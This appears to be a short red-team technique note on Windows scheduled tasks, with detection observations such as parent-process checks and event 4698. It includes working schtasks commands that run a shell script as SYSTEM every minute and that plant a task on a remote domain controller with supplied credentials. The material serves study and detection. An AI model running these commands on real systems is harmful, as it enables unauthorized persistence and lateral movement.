Schtask

Code execution, privilege escalation, lateral movement and persitence.

Execution

Creating a new scheduled task that will launch shell.cmd every minute:

attacker@victim

schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"

Observations

Note that processes spawned as scheduled tasks have taskeng.exe process as their parent:

Monitoring and inspecting commandline arguments and established network connections by processes can help uncover suspicious activity:

Also, look for events 4698 indicating new scheduled task creation:

Lateral Movement

Note that when using schtasks for lateral movement, the processes spawned do not have taskeng.exe as their parent, rather - svchost:

attacker@victim

schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password

References

Scheduled Task/Job, Technique T1053 - Enterprise | MITRE ATT&CK®

https://docs.microsoft.com/en-us/windows/desktop/taskschd/schtasksdocs.microsoft.com